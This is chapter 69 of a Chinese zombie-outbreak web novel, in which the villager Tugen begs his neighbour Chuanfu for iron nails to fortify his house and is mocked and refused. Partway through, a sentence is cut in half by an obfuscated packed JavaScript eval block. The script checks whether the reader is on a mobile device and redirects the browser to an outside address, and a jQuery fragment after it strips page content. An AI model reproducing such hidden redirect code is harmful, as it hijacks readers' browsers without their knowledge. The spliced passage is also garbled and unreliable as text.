69.闭门羹
作品:《丧尸漫山遍野》 赔着笑脸来传福家前,土根做足了功课,恳请人家帮忙办事,不管脸上的笑有多虚情假意,总归是得有笑容的,所谓伸手不打笑人脸。
从门缝望见土根一步步走来,传福就有不妙的预感了,这人无事不登三宝殿,平日里一肚子坏水,来了一准没好事儿。
“传福,传福在家吗?”土根笑容可掬,老远着就在指名道姓地喊人。
传福总觉着土根这人多少有些玩世不恭,村里也有汉子很与土根聊得来,但他和这种人难以沟通。
和其他人打交道时,传福言行举止不说温文尔雅,但起码是礼尚往来的,态度是心平气和的。
一见到土根这个惯会偷奸耍滑的家伙,心里就瞒不住事,脸色就不太淡定,少年气的一腔热血转瞬间就冒出来了,再去打量土根时,精气神过旺,这人就有些心高气傲。
屋里头没人应声,土根言语或行为上却没有敛旗息鼓的倾向,简直是个越挫越勇的战士。
他加快脚程,步履不停,靠得越来越近,声如洪钟,距离再近一些,恐怕要把房子都给震动了。
“传福,那土根是不是来找你的?”来富老爹觑着屋外头那个人。
“乡里乡亲的,别弄得这么孤寒,人情都是在人来人往、互帮互助的情况下积累下来的,”雪莲大娘说,“有问就得答,省得人家落下口舌,派我们家个不是。”
传福是不打算接话的,但既然老爹和老娘都这么说了,不与他交涉一番实在说不过去,至于道德和礼貌,在这种场合是派不上用场的。
“土根,在家不,给我开个门可好?”土根笑嘻嘻地走到传福家门口了。
伸手就要敲门,门登时被人由里边打开,门开了一半也就停住了。
传福笔直的身材出现半开的门缝中,脸黑得像摸了锅底灰,明亮的眼神睥睨着门外的土根。
这门是经过加固处理的,木条木板犬牙交错般在门框上交叉折叠,用钉子给固定住了,屋里人的身躯也就被割得七零八碎。
“有事儿?”
这话不是说出来的,是从齿缝里挤出来的,一个字像一把锋利的匕首,闪着寒光刺向对方。
“没事儿怎么会来找你呢?”土根讪笑着说,“传福老弟真是爱说笑。”
“嘿,是什么事呢?”传福一脸讥讽,好不容易才忍着不谩骂对方,“我倒想听听是好事还是坏事把你送到我家门口。”
“唉!”土根叹了一口气,举起右手五根手指在眼前晃了晃,假模假样地说,“看来我这几十年是白活了。”
“那天夜里给你当牛做马,如此一番丰功伟绩,我落不得一点好就算了,到头来你对我还是一如既往的冷漠……”
“真啰嗦,废话你少说一点吧,”传福听不下去,急忙打断他的陈词滥调,“咱们开门见山地说话如何呢?”
“那必须的嘛!”土根使劲朝传福挤了一下眼睛。
这个动作让传福颇感恶心,就好像你面对着一桌宴席,上面摆放着五花八门的菜品,你急不可待地张开了血盆大口,囫囵吞枣地享用了一道道山珍海味、美味佳肴,并以风卷残云之势舔光了盘子上的油污,你窝在老爷椅上,手捧着圆咕隆咚的肚子,心满意足地打了一个充满调味品气味的饱嗝之后,突然又有一个厨子把一道菜品端到你面前,揭开银白色的盖子,大盘子上盛放着一只烤乳猪,油光发亮的大猪肘子正在朝你打着招呼的那种恶心……
“有屁快放!”传福的忍耐到了极限,额头上一根青筋“突突”地跳动。
说这话嘴巴是没动的,喉咙深处挤压出来的,乍一听,像是活尸在说话,土根也不敢造次了。
“你剩有铁钉吗?”
“铁钉?”传福反问一句,看他那一脸疑惑的样子,好像不知道铁钉是何物。
扩散开来的眼神一聚焦,稀罕地落在土根脸上,像一根挠人的狗尾巴草,他伸出手抓了抓面庞。
“是的,还有不?”知道传福知道他的来意了,土根不依不饶地询问着。
“你要铁钉做甚?”
“总之不是用来害人的!”
“你这是不打自招了?”
“你少放屁!”土根怒上心头,气得嘴角都歪了。
看土根那忍辱负重的样子着实有点好笑,传福笑着说:“肚子里没点吃食,连个屁都放不出来。”
土根似乎听出了传福的言下之意,“你要是有铁钉给我,之前的恩怨一笔勾销,我还倒给你一两米。”
“世界上有这种好事吗?”传福否定地摇摇头,“你拿得出粮食来吗?”
“拿得出。”这回土根没说大话,他的确拿得出一两米来。
村里各家各户再叫穷,被饿死之前,不可能真的一点存粮都没有。
铁钉到手了,土根到底会不会真的把一两米拿出来交换,就要看他心情和传福的表现了。
这种言而无信的事情传福干过一次,即使他出尔反尔了,他也拿他冒办法。
“你为何要铁钉呢?”传福指了指耳朵,“说来听听。”
传福一幅洗耳恭听的样子,在土根看来像一只不安好心的大尾巴狼,“只许你加固门窗吗?”
“那倒没有,”这话听着心里怪不舒服的,“你这是把我当成了先驱者,想后来者赶上咯?”
“是这么回事,跟聪明人说话就是不费劲!”土根找准时机拍马屁。
“这好说……”传福用手掌摩挲着下巴上的胡茬,发出“嚓啦嚓啦”的细微声音。
看到了希望的土根语气难得软了下来,眼神中的敬意和柔情各占半壁江山,这敬意是给传福看的,那柔情是想到了家里人。
“我有妻子和三个女儿……”土根的话还没说完,就被对方切断了。
“可惜,没有啦!”传福摊开双手,两手空空地耸了耸肩。
“你耍我呢?”
之前的敬意和柔情一扫而光,土根目露凶光,挺不爽地看着摇头晃脑的传福,这个目中无人的蠢货。
“对,就耍你,”传福倒也没急着否认,就怕土根那个人太傻看不出来,既然他心里看事儿透亮,那也没什么好隐瞒的了,“有本事你把我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417831|198633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家木板拆了,钉到你家门窗上去。”
传福心里有更恶毒的话在流转,他克制着不让这些脱口而出,土根这人不好惹,这脸可真够厚的,这心思也真够险恶的。
土根好话说尽,也不想再与传福周旋,一甩手,走路如飞,扬长而去。
“你给我走着瞧!”土根脚下生风,消失在拐角之前,恶狠狠地撂下一句狠话。
放下面子来传福这求铁钉,土根实在是迫不得已,村里人口众多,但目前只有传福家的门窗加固过,没准儿有用剩的铁钉,哪怕最终碰一鼻子灰,也有必要来走这一遭。
二女儿溪花被活尸给咬了,情况一个时辰比一个时辰恶化,眼看着马上就要变成活尸了。
土根心情很激动,他身为一家之主,担心日后还发生同样的事情,一家只要有一个人被活尸咬了,其他家庭成员就已经不得安宁,他们一家人可不能再承受哪怕一次。
媳妇晓凤,大女儿竹花,小女儿露花,是需要他去保护的对象,如果有什么突发情况发生,他并不能时时刻刻待在他们身边。
最好的办法就是像传福一样给家里人打造一处避难所,把房子变成一座安全屋,门窗是一座房子最脆弱的地方,只要门窗牢靠,这活尸一时半会儿是没办法进入屋里行凶作恶的。
可这传福给脸不要脸,土根认为自己这次够低声下气的了,但对方一枚铁钉都没给他,还把他当猴子耍。
传福说没有铁钉,可世事难料,谁知道这话是真是假,还是真假参半呢?
看传福那意思,即使手里头还有铁钉也不会给他,他只想取笑他也有求人的一天。
距离火灾之夜过去三天三夜了,禾实村的父老乡亲们陆陆续续杀了二三十多具活尸,和那天死在火场上的活尸数量相比,日均出现的活尸数量所减少,可目前的形势却是越来越严峻。
每天都有新的活尸出没,外部环境时不时往禾实村吐露几个活尸,可早晚会迎来集中式的爆发,就像菜刀刚在手上剌开的刀口,一阵发麻,停顿个一两秒,鲜血就会大量溢出,到时候再想把血止住就难了。
成天成夜被这种阴魂不散的梦魇折磨着,就好像家里的米缸有个补不上的洞,这锅里的米眼见着一点点减少了。
这米也不知道漏去了哪里,就是不断地减少了,能感到一种无以名状的恐慌,和对饥饿的刻入骨髓的恐惧。
相安无事时,都不可天与人交心,天下不太平,这村中更是没有一个可以交心的人。
思来想去,以尽快占据有利位置为前提,土根想到了一个绝妙的好主意。
想要此时顺利完成,光凭他一个人比较难办成,得找个信得过帮手才行,互相也好有个照应。
这孬蛋很怂,没人比土根看得更清,他这个当哥哥的自然知道弟弟孬蛋的德行。
目前这件事宜不可外传,只好喊孬蛋帮忙了,肥水不流外人田,胳膊肘可不能往外拐。
好像他每次喊孬蛋干活儿,他们兄弟两人干的都不是什么文明的事情,一想到这,土根嘴角浮现一抹奸诈的笑容。

